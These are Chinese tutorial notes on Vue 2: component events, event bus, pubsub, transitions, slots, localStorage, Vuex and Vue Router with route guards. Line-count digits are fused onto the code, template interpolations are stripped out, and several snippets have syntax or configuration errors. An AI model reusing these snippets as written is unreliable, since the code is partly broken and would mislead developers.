36 this.$destroy() //销毁了当前Student组件的实例,销毁后所有Student实例的自定义事件全都不奏效。
37 }
38 },
39 }
40</script>
41
App.vue:父组件通过事件回调处理子组件传出来的数据。
431<template>
2 <div class="app">
3 <h1> ,学生姓名是:</h1>
4
5 <!-- 绑定方式一:v-on方式绑定事件回调 -->
6 <!-- <Student @atguigu="getStudentName"/> -->
7
8 <!-- 绑定方式二:先设置ref属性
9 扩展:通过native为组件绑定原生DOM事件 -->
10 <Student ref="student" @click.native="show"/>
11 </div>
12</template>
13
14<script>
15 import Student from './components/Student'
16
17 export default {
18 name:'App',
19 components:{Student},
20 data() {
21 return {
22 msg:'你好啊!',
23 studentName:''
24 }
25 },
26 methods: {
27 getStudentName(name,params){
28 console.log('App收到了学生名:',name,params)
29 this.studentName = name
30 },
31 show(){
32 alert(123)
33 }
34 },
35 mounted() {
36 // 绑定方式二:然后通过$on绑定事件回调
37 this.$refs.student.$on('atguigu',this.getStudentName)
38
39 // 扩展:通过$once绑定只触发一次的事件回调
40 // this.$refs.student.$once('atguigu',this.getStudentName)
41 },
42 }
43</script>
提示: 子->父通信也可以通过props声明来实现!!!
父组件在使用子组件时传递一个回调函数,用于处理父组件的一些数据。
21<!-- 父组件给子组件传递函数类型的props -->
2<School :getSchoolName="getSchoolName"/>
子组件声明props,接收父组件传递过来的回调函数,在合适的时机执行该回调函数。
121<template>
2<div class="school">
3<button @click="this.getSchoolName(this.name)">向外部传递学校名</button>
4</div>
5</template>
6
7<script>
8export default {
9props:['getSchoolName'],
10data() {return {name:'尚硅谷'}
11}
12</script>
全局事件总线($bus)由自定义事件衍生而来,一般用于任意组件间通信。使用步骤如下:
安装全局事件总线:一般选择Vue组件作为通信的中间组件,因为它全局唯一且所有组件均可访问。
81new Vue({
2
3 beforeCreate() {
4 // 安装全局事件总线,$bus就是当前应用的vm
5 Vue.prototype.$bus = this
6 },
7
8})
使用总线发送数据:this.$bus.$emit('xxxx',数据)
,使用通信组件(vm)的$emit方法触发特定事件,并附带业务数据。
从总线获取数据:在总线上绑定所关注事件的回调,当关注的事件触发时,自动调用回调函数处理收到的数据。
91methods(){
2 // 处理从总线收到的数据
3 demo(data){ }
4}
5
6mounted() {
7 // 在总线上绑定xxxx事件,当该事件触发时,自动调用demo()方法处理收到的数据
8 this.$bus.$on('xxxx',this.demo)
9}
注意:一般来说,最好在beforeDestroy钩子中,用
$off
去解绑当前组件所用到的事件。
main.js:在创建Vue实例时安装全局事件总线。
131import Vue from 'vue'
2import App from './App.vue'
3Vue.config.productionTip = false
4
5// 创建vm
6new Vue({
7 el:'#app',
8 render: h => h(App),
9 beforeCreate() {
10 // 安装全局事件总线
11 Vue.prototype.$bus = this
12 },
13})
Student.vue:A组件使用总线发送数据。
231<template>
2 <div class="student">
3 <h2>学生姓名:</h2>
4 <button @click="sendStudentName">把学生名给School组件</button>
5 </div>
6</template>
7
8<script>
9 export default {
10 name:'Student',
11 data() {
12 return {
13 name:'张三'
14 }
15 },
16 methods: {
17 sendStudentName(){
18 // 通过触发hello事件发送name数据
19 this.$bus.$emit('hello',this.name)
20 }
21 },
22 }
23</script>
School.vue:B组件通过在总线绑定事件处理收到的数据。
201<template>
2 <div class="school">
3 </div>
4</template>
5
6<script>
7 export default {
8 name:'School'
9 mounted() {
10 // 通过在总线绑定hello事件,当A组件触发该事件时,该组件收到传递过来的数据并处理
11 this.$bus.$on('hello',(data)=>{
12 console.log('我是School组件,收到了数据',data)
13 })
14 },
15 beforeDestroy() {
16 // 最好是在beforeDestroy钩子中解绑当前组件用到的事件
17 this.$bus.$off('hello')
18 },
19 }
20</script>
提示:有关事件触发、绑定及解绑的相关操作请参考上一节:自定义事件!!!
消息订阅与发布是通过第三方库实现的任意组件间通信,在其它类型的框架中也可使用。使用步骤如下:
安装:npm i pubsub-js
。
引入: import pubsub from 'pubsub-js'
。
发布:pubsub.publish('xxx',数据)
。
订阅:this.pid = pubsub.subscribe('xxx',this.demo)
。
注意:一般来说,最好是在beforeDestroy钩子中,用
pubsub.unsubscribe(pid)
去取消订阅。
Student.vue:A组件发布消息到hello主题。
261<template>
2 <div class="student">
3 <h2>学生姓名:</h2>
4 <button @click="sendStudentName">把学生名给School组件</button>
5 </div>
6</template>
7
8<script>
9 // 2. 引入pubsub-js库
10 import pubsub from 'pubsub-js'
11
12 export default {
13 name:'Student',
14 data() {
15 return {
16 name:'张三'
17 }
18 },
19 methods: {
20 sendStudentName(){
21 // 3. 发布hello主题消息,并附带666数据
22 pubsub.publish('hello',666)
23 }
24 },
25 }
26</script>
School.vue:B组件订阅hello主题并处理收到的消息。
231<template>
2 <div class="school">
3 </div>
4</template>
5
6<script>
7 // 2. 引入pubsub-js库
8 import pubsub from 'pubsub-js'
9
10 export default {
11 name:'School',
12 mounted() {
13 // 3. 订阅hello主题,当有消息时,触发回调处理收到的数据(注意:第一个参数为主题名称)
14 this.pubId = pubsub.subscribe('hello',(msgName,data)=>{
15 console.log('有人发布了hello消息,hello消息的回调执行了',msgName,data)
16 })
17 },
18 beforeDestroy() {
19 // 4. 最好在beforeDestroy钩子中取消主题订阅
20 pubsub.unsubscribe(this.pubId)
21 },
22 }
23</script>
Vue通过一些标签和属性在DOM插入、更新或移除时,动态增删一些样式,以达到动画效果。
元素进入的样式:
v-enter:进入的起点
v-enter-active:进入过程中
v-enter-to:进入的终点
元素离开的样式:
v-leave:离开的起点
v-leave-active:离开过程中
v-leave-to:离开的终点
使用transition
标签包裹该标签,并指定name
属性作为样式前缀。
431<template>
2 <div>
3 <button @click="isShow = !isShow">显示/隐藏</button>
4
5 <!--使用transition包裹要过度的元素,并指定name属性为hello-->
6 <transition name="hello" appear>
7 <h1 v-show="isShow">你好啊!</h1>
8 </transition>
9 </div>
10</template>
11
12<script>
13 export default {
14 name:'Test',
15 data() {
16 return {
17 isShow:true
18 }
19 },
20 }
21</script>
22
23<style scoped>
24 /* 关键帧 */
25 @keyframes atguigu {
26 from{
27 transform: translateX(-100%);
28 }
29 to{
30 transform: translateX(0px);
31 }
32 }
33
34 /* 进入时的动画 */
35 .hello-enter-active{
36 animation: atguigu 0.5s linear;
37 }
38
39 /* 离开时的动画 */
40 .hello-leave-active{
41 animation: atguigu 0.5s linear reverse;
42 }
43</style>
使用transition-group
包裹多个要过度的元素,并指定name
属性作为样式前缀,以及每个元素的key
值。
391<template>
2 <div>
3 <button @click="isShow = !isShow">显示/隐藏</button>
4
5 <!--使用transition-group包裹多个要过度的元素,并指定name属性为hello以及每个元素的key值-->
6 <transition-group name="hello" appear>
7 <h1 v-show="!isShow" key="1">你好啊!</h1>
8 <h1 v-show="isShow" key="2">尚硅谷!</h1>
9 </transition-group>
10 </div>
11</template>
12
13<script>
14 export default {
15 name:'Test',
16 data() {
17 return {
18 isShow:true
19 }
20 },
21 }
22</script>
23
24<style scoped>
25 /* 帧1:进入的起点、离开的终点 */
26 .hello-enter,.hello-leave-to{
27 transform: translateX(-100%);
28 }
29
30 /* 动画效果 */
31 .hello-enter-active,.hello-leave-active{
32 transition: 0.5s linear;
33 }
34
35 /* 帧2:进入的终点、离开的起点 */
36 .hello-enter-to,.hello-leave{
37 transform: translateX(0);
38 }
39</style>
安装:npm install animate.css --save
。
引入:import 'animate.css'
。
使用:通过name、enter-active-class、leave-active-class等属性指定动画样式。
301<template>
2 <div>
3 <button @click="isShow = !isShow">显示/隐藏</button>
4
5 <!-- 3. 指定第三方样式 -->
6 <transition-group
7 appear
8 name="animate__animated animate__bounce"
9 enter-active-class="animate__swing"
10 leave-active-class="animate__backOutUp"
11 >
12 <h1 v-show="!isShow" key="1">你好啊!</h1>
13 <h1 v-show="isShow" key="2">尚硅谷!</h1>
14 </transition-group>
15 </div>
16</template>
17
18<script>
19 // 2. 导入第三方库animate.css(注意提前安装)
20 import 'animate.css'
21
22 export default {
23 name:'Test',
24 data() {
25 return {
26 isShow:true
27 }
28 },
29 }
30</script>
插槽用于父组件向子组件插入动态HTML结构,也是一种父子间组件间通信的方式。使用步骤如下:
子组件定义插槽:
91<template>
2 <div>
3 <!-- 定义插槽 slot01 -->
4 <slot name="slot01" :data="组件内部数据">插槽默认内容...</slot>
5
6 <!-- 定义插槽 slot02-->
7 <slot name="footer">插槽默认内容...</slot>
8 </div>
9</template>
父组件往插槽塞入HTML结构:
121<!-- 使用子组件 -->
2<Category>
3 <!-- 往插槽 slot01 塞HTML结构-->
4 <template slot="slot01" scope=“data”>
5 <div>html结构1--{{data.msg}}</div>
6 </template>
7
8 <!-- 往插槽 slot02 塞HTML结构-->
9 <template v-slot:footer>
10 <div>html结构2</div>
11 </template>
12</Category>
注意:
如果子组件只有一个插槽,则可以省略
name
属性(插槽名称),同时父组件也无需指定slot
属性。可以使用
template
标签同时包裹多个标签塞入,并且不会破坏解析后的HTML结构。
slot="slot01"
也可写为v-slot:slot01
。
Category.vue:子组件定义插槽。
181<template>
2 <div class="category">
3 <h3> 分类</h3>
4
5 <!-- 定义插槽center -->
6 <slot name="center">这是插槽的默认HTML结构</slot>
7
8 <!-- 定义插槽footer -->
9 <slot name="footer">这是插槽的默认HTML结构</slot>
10 </div>
11</template>
12
13<script>
14 export default {
15 name:'Category',
16 props:['title']
17 }
18</script>
App.vue:父组件往插槽插入HTML结构。
581<template>
2 <div class="container">
3 <!--使用子组件Category-->
4 <Category title="美食" >
5 <!-- 往插槽center中塞入该img标签-->
6 <img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
7
8 <!-- 往插槽footer中塞入该a标签-->
9 <a slot="footer" href="http://www.atguigu.com">更多美食</a>
10 </Category>
11
12 <!--使用子组件Category-->
13 <Category title="游戏" >
14 <!-- 往插槽center中塞入该ul标签-->
15 <ul slot="center">
16 <li v-for="(g,index) in games" :key="index"></li>
17 </ul>
18
19 <!-- 往插槽footer中塞入该div标签-->
20 <div class="foot" slot="footer">
21 <a href="http://www.atguigu.com">单机游戏</a>
22 <a href="http://www.atguigu.com">网络游戏</a>
23 </div>
24 </Category>
25
26 <!--使用子组件Category-->
27 <Category title="电影">
28 <!-- 往插槽footer中塞入该video标签-->
29 <video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
30
31 <!-- 往插槽footer中塞入多个标签-->
32 <template v-slot:footer>
33 <div class="foot">
34 <a href="http://www.atguigu.com">经典</a>
35 <a href="http://www.atguigu.com">热门</a>
36 <a href="http://www.atguigu.com">推荐</a>
37 </div>
38 <h4>欢迎前来观影</h4>
39 </template>
40 </Category>
41 </div>
42</template>
43
44<script>
45 import Category from './components/Category'
46
47 export default {
48 name:'App',
49 components:{Category},
50 data() {
51 return {
52 foods:['火锅','烧烤','小龙虾','牛排'],
53 games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
54 films:['《教父》','《拆弹专家》','《你好,李焕英》','《尚硅谷》']
55 }
56 },
57 }
58</script>
带数据的插槽指将子组件内部的数据通过插槽传递给父组件,父组件使用该数据来生成特定的HTML结构并塞入插槽。
Category.vue:子组件定义插槽并向使用者传递组件内部数据。
201<template>
2 <div class="category">
3 <h3> 分类</h3>
4
5 <!--子组件定义一个插槽,并且向使用者传递一些内部数据{games:games,msg:'hello'} -->
6 <slot :games="games" msg="hello">我是默认的一些内容</slot>
7 </div>
8</template>
9
10<script>
11 export default {
12 name:'Category',
13 props:['title'],
14 data() {
15 return {
16 games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
17 }
18 },
19 }
20</script>
App.vue:父组件使用传过来的数据渲染HTML结构。
411<template>
2 <div class="container">
3
4 <!--使用子组件Category-->
5 <Category title="游戏">
6 <!--往插槽塞HTML结构,并获取传过来的数据到atguigu对象-->
7 <template scope="atguigu">
8 <ul>
9 <li v-for="(g,index) in atguigu.games" :key="index"></li>
10 </ul>
11 </template>
12 </Category>
13
14 <!--使用子组件Category-->
15 <Category title="游戏">
16 <!--往插槽塞HTML结构,并获取传过来的数据,使用解构表达式接收-->
17 <template scope="{games}">
18 <ol>
19 <li style="color:red" v-for="(g,index) in games" :key="index"></li>
20 </ol>
21 </template>
22 </Category>
23
24 <!--使用子组件Category-->
25 <Category title="游戏">
26 <!--往插槽塞HTML结构,并获取传过来的数据,使用解构表达式接收-->
27 <template slot-scope="{games}">
28 <h4 v-for="(g,index) in games" :key="index"></h4>
29 </template>
30 </Category>
31 </div>
32</template>
33
34<script>
35 import Category from './components/Category'
36
37 export default {
38 name:'App',
39 components:{Category},
40 }
41</script>
浏览器存储(webStorage)用于在客户端保存少量的网页数据(约5MB),根据数据的类型可分为会话存储(SessionStorage)
和本地存储(LocalStorage)
。
会话存储(SessionStorage):存储的内容会随着会话的结束而消失,通过window.sessionStorage
访问。
本地存储(LocalStorage):存储的内容需要手动清除才会消失,通过window.localStorage
访问。
常用的API如下:
121// 设置(对于旧值直接覆盖)
2setItem('key', 'value')
3
4// 获取(key不存在则返回NULL)
5getItem('person')
6
7// 删除
8removeItem('key')
9
10// 清空(仅当前网页)
11clear()
12
提示:在实际开发中,一般将数据转为JSON存入,转换方式如下:
Object -> Json:JSON.stringify(obj)。如果obj为null,则转换结果为'null'。
Json -> Object:JSON.parse(jsonStr)。如果jsonStr为null,则解析结果为null。
461
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>localStorage</title>
6 </head>
7 <body>
8 <h2>localStorage</h2>
9 <button onclick="saveData()">点我保存一个数据</button>
10 <button onclick="readData()">点我读取一个数据</button>
11 <button onclick="deleteData()">点我删除一个数据</button>
12 <button onclick="deleteAllData()">点我清空一个数据</button>
13
14 <script type="text/javascript" >
15 let p = {name:'张三',age:18}
16
17 function saveData(){
18 // 分别设置字符串、整型、Json类型的数据
19 localStorage.setItem('msg','hello!!!')
20 localStorage.setItem('msg2',666)
21 localStorage.setItem('person',JSON.stringify(p))
22 }
23
24 function readData(){
25 // 分别读取字符串、整型、Json类型的数据
26 console.log(localStorage.getItem('msg'))
27 console.log(localStorage.getItem('msg2'))
28 console.log(JSON.parse(localStorage.getItem('person')))
29
30 // 读取不存在的key
31 console.log(localStorage.getItem('msg3'))
32 }
33
34 function deleteData(){
35 // 删除msg2
36 localStorage.removeItem('msg2')
37 }
38
39 function deleteAllData(){
40 // 清空当前网页的本地存储
41 localStorage.clear()
42 }
43 </script>
44 </body>
45</html>
46
安装:npm install axios
。
引入:import axios from 'axios'
。
使用:
81axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
2 response => {
3 console.log('请求成功了', response.data)
4 },
5 error => {
6 console.log('请求失败了', error.message)
7 }
8)
更多资料请参考官方文档:http://www.axios-js.com/!
如果某些函数需要在DOM更新结束后再执行,则可以使用nextTick
注册回调函数。语法格式为:this.$nextTick(回调函数)
。
301<template>
2 <li>
3 <!--当处于编辑状态时显示,ref属性为inputTitle-->
4 <input type="text" v-show="todo.isEdit" ref="inputTitle">
5
6 <!--点击"编辑",按钮隐藏,展示输入框-->
7 <button v-show="!todo.isEdit" @click="handleEdit(todo)">编辑</button>
8 </li>
9</template>
10
11<script>
12 export default {
13 name:'MyItem',
14 props:['todo'],
15 methods: {
16 handleEdit(todo){
17 // 如果存在isEdit属性则直接设置为true,否则设置一个响应式变量isEdit,初始值为true。
18 if(todo.hasOwnProperty('isEdit')){
19 todo.isEdit = true
20 }else{
21 this.$set(todo,'isEdit',true)
22 }
23
24 // 注册回调函数,在DOM更新之后获取inputTitle标签的焦点
25 this.$nextTick(function(){
26 this.$refs.inputTitle.focus()
27 })
28 },
29 }
30</script>
提示:自定义指令的inserted(element,binding){}配置也有类似的效果!
脚手架代理服务器一般是前端人员为了解决跨域问题而配置(更好的方式是后端配置响应头或使用Nginx作代理)。创建或修改根目录下的vue.config.js
文件,配置如下:
421module.exports = {
2 // 页面配置
3 pages: {
4 index: {
5 entry: 'src/main.js',
6 },
7 },
8
9 //关闭语法检查
10 lintOnSave: false,
11
12 //开启代理服务器(方式一)
13 /* devServer: {
14 proxy: 'http://localhost:5000'
15 }, */
16
17 //开启代理服务器(方式二)
18 devServer: {
19 proxy: {
20 // "/api1"开头的请求代理到http://localhost:5000服务器
21 '/api1': {
22 target: 'http://localhost:5000',
23 // 路径重写,去掉前缀
24 pathRewrite: {
25 '^/api1': ''
26 },
27 // ws: true, //用于支持websocket
28 // changeOrigin: true // 用于控制请求头中的host值
29 },
30
31 // "/api2"开头的请求代理到http://localhost:5001服务器
32 '/api2': {
33 target: 'http://localhost:5001',
34 pathRewrite: {
35 '^/api2': ''
36 }
37 }
38
39 }
40 }
41
42}
访问方式如下:
91// 请求http://localhost:5000服务器的/cars资源
2axios.get('http://localhost:8080/api1/cars').then(
3 response => {
4 console.log('请求成功了',response.data)
5 },
6 error => {
7 console.log('请求失败了',error.message)
8 }
9)
Vuex插件是一个用于实现集中式状态(数据)管理的Vue插件,对vue应用中多个组件的共享状态(数据)进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。Github地址为:https://github.com/vuejs/vuex。
安装vuex:npm install vuex
或npm install vuex@3
。
注意:如果出现Uncaught TypeError: Object(...) is not a function at resetStoreState (vuex.esm-browser.js?5502:1或类似错误,可能是Vue 2.x和Vuex 4.x版本不匹配导致。先卸载
npm uninstall vuex
,再继续安装匹配的旧版本npm install vuex@3
。
创建src/store/index.js文件,写入如下store
配置。
171import Vue from 'vue'
2
3// 导入并使用Vuex插件(注意:不能在创建Vue实例前再使用该插件,会报错!)
4import Vuex from 'vuex'
5Vue.use(Vuex)
6
7//准备actions、mutations、state三大对象
8const actions = {/*一些可由dispatch调用的函数,用于响应组件中用户的动作*/}
9const mutations = {/*一些可由commit调用的函数,用于直接修改state中的数据*/}
10const state = {/*实际存储数据的对象配置*/}
11
12//创建并暴露store
13export default new Vuex.Store({
14 actions,
15 mutations,
16 state
17})
在main.js中创建vm时传入store
配置项(注意:已在上方配置中使用了插件)。
151import Vue from 'vue'
2import App from './App.vue'
3Vue.config.productionTip = false
4
5// 引入store配置
6import store from './store'
7
8// 创建vm
9new Vue({
10 el:'#app',
11 render: h => h(App),
12 // 传入store配置
13 store
14})
15
修改store.js文件,初始化state
数据,以及配置actions
和mutations
中的操作函数。
341import Vue from 'vue'
2
3// 引入和使用Vuex
4import Vuex from 'vuex'
5Vue.use(Vuex)
6
7const actions = {
8 jia(context,value){
9 // 这里可以对数据进行一些加工或通过ajax请求获取更多的数据等
10 console.log('actions中的jia被调用了',context,value)
11
12 // 调用mutations中的方法直接操作数据
13 context.commit('JIA',value)
14 },
15}
16
17const mutations = {
18 JIA(state,value){
19 // 直接对数据进行操作
20 console.log('mutations中的JIA被调用了',state,value)
21 state.sum += value
22 }
23}
24
25const state = {
26 sum:0
27}
28
29// 创建并暴露store
30export default new Vuex.Store({
31 actions,
32 mutations,
33 state,
34})
组件中读取vuex中的数据:$store.state.sum
组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据)
或 $store.commit('mutations中的方法名',数据)
备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写
dispatch
,直接编写commit
。
概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。
在store.js
中追加getters
配置
131
2
3const getters = {
4 bigSum(state){
5 return state.sum * 10
6 }
7}
8
9// 创建并暴露store
10export default new Vuex.Store({
11
12 getters
13})
组件中读取数据:$store.getters.bigSum
。
mapState方法:用于帮助我们映射state
中的数据为计算属性。
71computed: {
2 //借助mapState生成计算属性:sum、school、subject(对象写法)
3 mapState({sum:'sum',school:'school',subject:'subject'}),
4
5 //借助mapState生成计算属性:sum、school、subject(数组写法)
6 mapState(['sum','school','subject']),
7},
mapGetters方法:用于帮助我们映射getters
中的数据为计算属性。
71computed: {
2 //借助mapGetters生成计算属性:bigSum(对象写法)
3 mapGetters({bigSum:'bigSum'}),
4
5 //借助mapGetters生成计算属性:bigSum(数组写法)
6 mapGetters(['bigSum'])
7},
mapActions方法:用于帮助我们生成与actions
对话的方法,即:包含$store.dispatch(xxx)
的函数。
71methods:{
2 //靠mapActions生成:incrementOdd、incrementWait(对象形式)
3 mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
4
5 //靠mapActions生成:incrementOdd、incrementWait(数组形式)
6 mapActions(['jiaOdd','jiaWait'])
7}
mapMutations方法:用于帮助我们生成与mutations
对话的方法,即:包含$store.commit(xxx)
的函数。
71methods:{
2 //靠mapActions生成:increment、decrement(对象形式)
3 mapMutations({increment:'JIA',decrement:'JIAN'}),
4
5 //靠mapMutations生成:JIA、JIAN(对象形式)
6 mapMutations(['JIA','JIAN']),
7}
注意:mapActions与mapMutations使用时,若需要传递参数,需要在模板中绑定事件时传递好参数,否则参数是事件对象。
21<!--在组件中使用并传参-->
2<button @click="increment(n)">+</button>
目的:让代码更好维护,让多种数据分类更加明确。
修改store.js
将原来的大配置进行拆分:
251const countAbout = {
2 namespaced:true,//开启命名空间
3 state:{x:1},
4 mutations: { },
5 actions: { },
6 getters: {
7 bigSum(state){
8 return state.sum * 10
9 }
10 }
11}
12
13const personAbout = {
14 namespaced:true,//开启命名空间
15 state:{ },
16 mutations: { },
17 actions: { }
18}
19
20const store = new Vuex.Store({
21 modules: {
22 countAbout,
23 personAbout
24 }
25})
开启命名空间后,组件中读取state数据:
41//方式一:自己直接读取
2this.$store.state.personAbout.list
3//方式二:借助mapState读取:
4mapState('countAbout',['sum','school','subject']),
开启命名空间后,组件中读取getters数据:
41//方式一:自己直接读取
2this.$store.getters['personAbout/firstPersonName']
3//方式二:借助mapGetters读取:
4mapGetters('countAbout',['bigSum'])
开启命名空间后,组件中调用dispatch
41//方式一:自己直接dispatch
2this.$store.dispatch('personAbout/addPersonWang',person)
3//方式二:借助mapActions:
4mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
开启命名空间后,组件中调用commit
41//方式一:自己直接commit
2this.$store.commit('personAbout/ADD_PERSON',person)
3//方式二:借助mapMutations:
4mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
VueRouter插件是一个用于实现单页面应用(SPA)的Vue插件,主要由路由器(router)和路由(route)配置组成。
安装vue-router:npm i vue-router
。
注意: 如果出现Uncaught TypeError: Object(...) is not a function at resetStoreState (vuex.esm-browser.js?5502:1或类似错误,可能是Vue 2.x和Vue-Router的版本不匹配,先卸载
npm uninstall vue-router
后安装旧版本npm install vue-router@3.5.2
即可。
创建src/router/index.js文件,写入如下路由器(router)
配置。
231// 引入VueRouter插件
2import VueRouter from 'vue-router'
3
4// 引入路由组件
5import About from '../components/About'
6import Home from '../components/Home'
7
8// 创建路由器(router)实例对象,配置路由规则
9const router = new VueRouter({
10 routes:[
11 {
12 path:'/about',
13 component:About
14 },
15 {
16 path:'/home',
17 component:Home
18 }
19 ]
20})
21
22// 暴露router
23export default router
在main.js中创建vm时引入和使用VueRouter插件,并传入路由器配置。
191import Vue from 'vue'
2import App from './App.vue'
3Vue.config.productionTip = false
4
5// 引入路由器(router)配置
6import router from './router'
7
8//引入和使用VueRouter插件
9import VueRouter from 'vue-router'
10Vue.use(VueRouter)
11
12// 创建vm
13new Vue({
14 el:'#app',
15 render: h => h(App),
16 // 传入路由器(router)配置
17 router:router
18})
19
切换地址栏路径:使用<router-link>
标签替换原<a>标签,当该标签被点击时,会根据to属性的值修改地址栏路径,路由器检测到路径改变后,切换为指定的路由组件(提示:可通过active-class
属性配置激活样式)。
21<!-- 点击切换地址栏路径为"/about",路由器检测到路径变化后,切换到About组件-->
2<router-link active-class="active" to="/about">About</router-link>
指定组件展示位置:使用<router-view>
标签指定路由组件展示在哪个位置。
21<!-- 该标签写在哪,路由组件就渲染在哪 -->
2<router-view></router-view>
注意:
一般组件通常存放在
components
文件夹,而路由组件通常存放在pages
文件夹。通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
每个组件都有自己的
$route
属性,里面存储着自己的路由信息。整个应用只有一个router,可以通过组件的
$router
属性获取到。
配置路由规则,使用children配置项:
201routes:[
2 {
3 path:'/about',
4 component:About,
5 },
6 {
7 path:'/home',
8 component:Home,
9 children:[ //通过children配置子级路由
10 {
11 path:'news', //此处一定不要写:/news
12 component:News
13 },
14 {
15 path:'message',//此处一定不要写:/message
16 component:Message
17 }
18 ]
19 }
20]
切换地址栏路径(注意:要写完整路径):
11<router-link to="/home/news">News</router-link>
点击切换时传递query参数。
131<!-- 方式一:跳转并携带query参数,to的字符串写法 -->
2<router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
3
4<!-- 方式二:跳转并携带query参数,to的对象写法 -->
5<router-link
6 :to="{
7 path:'/home/message/detail',
8 query:{
9 id:666,
10 title:'你好'
11 }
12 }"
13>跳转</router-link>
接收参数:通过路由组件自身特有的$route
属性获取query参数。
21$route.query.id
2$route.query.title
路由名称即给某个路由规则起一个方便使用的名称,可以简化路由的跳转。
给路由规则命名:通过name
属性指定路由规则的名称。
171{
2 path:'/demo',
3 component:Demo,
4 children:[
5 {
6 path:'test',
7 component:Test,
8 children:[
9 {
10 name:'hello' // 命令该路由/demo/test/welcome为hello
11 path:'welcome',
12 component:Hello,
13 }
14 ]
15 }
16 ]
17}
简化跳转:
161<!--简化前,需要写完整的路径 -->
2<router-link to="/demo/test/welcome">跳转</router-link>
3
4<!--简化后,直接通过名字跳转 -->
5<router-link :to="{name:'hello'}">跳转</router-link>
6
7<!--简化写法配合传递参数 -->
8<router-link
9 :to="{
10 name:'hello',
11 query:{
12 id:666,
13 title:'你好'
14 }
15 }"
16>跳转</router-link>
配置路由,声明接收params参数:
201{
2 path:'/home',
3 component:Home,
4 children:[
5 {
6 path:'news',
7 component:News
8 },
9 {
10 component:Message,
11 children:[
12 {
13 name:'xiangqing',
14 path:'detail/:id/:title', // 使用占位符声明接收params参数
15 component:Detail
16 }
17 ]
18 }
19 ]
20}
传递参数
131<!-- 跳转并携带params参数,to的字符串写法 -->
2<router-link :to="/home/message/detail/666/你好">跳转</router-link>
3
4<!-- 跳转并携带params参数,to的对象写法 -->
5<router-link
6 :to="{
7 name:'xiangqing',
8 params:{
9 id:666,
10 title:'你好'
11 }
12 }"
13>跳转</router-link>
注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!
接收参数:通过路由组件自身特有的$route
属性获取query参数。
21$route.params.id
2$route.params.title
路由的props配置让路由组件更方便的收到参数。
191{
2 name:'xiangqing',
3 path:'detail/:id',
4 component:Detail,
5
6 //第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
7 // props:{a:900}
8
9 //第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
10 // props:true
11
12 //第三种写法(常用):props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
13 props(route){
14 return {
15 id:route.query.id,
16 title:route.query.title
17 }
18 }
19}
作用:控制路由跳转时操作浏览器历史记录的模式。
浏览器的历史记录有两种写入方式:分别为push(默认)
和replace
:
push
:追加历史记录。
replace
:替换当前记录。
如何开启replace
模式:<router-link replace .......>News</router-link>
作用:不借助<router-link>
实现路由跳转,让路由跳转更加灵活。
具体编码:
221// $router.push:push模式跳转
2this.$router.push({
3 name:'xiangqing',
4 params:{
5 id:xxx,
6 title:xxx
7 }
8})
9
10// $router.replace:replace模式跳转
11this.$router.replace({
12 name:'xiangqing',
13 params:{
14 id:xxx,
15 title:xxx
16 }
17})
18
19//前进、后退、可前进也可后退
20this.$router.forward()
21this.$router.back()
22this.$router.go()
作用:让不展示的路由组件保持挂载,不被销毁。
具体编码:在<router-view>标签外部包裹一层<keep-alive include="组件列表">
标签。其中include属性指需要保活的路由组件列表,多个组件间通过逗号分隔。
31<keep-alive include="News">
2 <router-view></router-view>
3</keep-alive>
作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。
具体名字:
activated
路由组件被激活时触发。
deactivated
路由组件失活时触发。
作用:对路由进行权限控制。
分类:全局守卫、独享守卫、组件内守卫。
全局守卫:
241//全局前置守卫:初始化时执行、每次路由切换前执行
2router.beforeEach((to,from,next)=>{
3 console.log('beforeEach',to,from)
4 if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
5 if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
6 next() //放行
7 }else{
8 alert('暂无权限查看')
9 // next({name:'guanyu'})
10 }
11 }else{
12 next() //放行
13 }
14})
15
16//全局后置守卫:初始化时执行、每次路由切换后执行
17router.afterEach((to,from)=>{
18 console.log('afterEach',to,from)
19 if(to.meta.title){
20 document.title = to.meta.title //修改网页的title
21 }else{
22 document.title = 'vue_test'
23 }
24})
独享守卫:
131beforeEnter(to,from,next){
2 console.log('beforeEnter',to,from)
3 if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
4 if(localStorage.getItem('school') === 'atguigu'){
5 next()
6 }else{
7 alert('暂无权限查看')
8 // next({name:'guanyu'})
9 }
10 }else{
11 next()
12 }
13}
组件内守卫:
61//进入守卫:通过路由规则,进入该组件时被调用
2beforeRouteEnter (to, from, next) {
3},
4//离开守卫:通过路由规则,离开该组件时被调用
5beforeRouteLeave (to, from, next) {
6}
对于一个url来说,什么是hash值?—— #及其后面的内容就是hash值。
hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器。
hash模式(默认):
地址中永远带着#号,不美观 。
若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。
兼容性较好。
history模式:
地址干净,美观 。
兼容性和hash模式相比略差。
应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。
切换:
31const router = new VueRouter({
2 mode:'history',
3}
https://element.eleme.cn/#/zh-CN
npm serve build
-> dist
2020年9月18日,Vue.js发布了Vue的3.0
版本,代号海贼王(one piece),地址为https://github.com/vuejs/vue-next/releases/tag/v3.0.0。
新版本主要进行了下面一些升级:
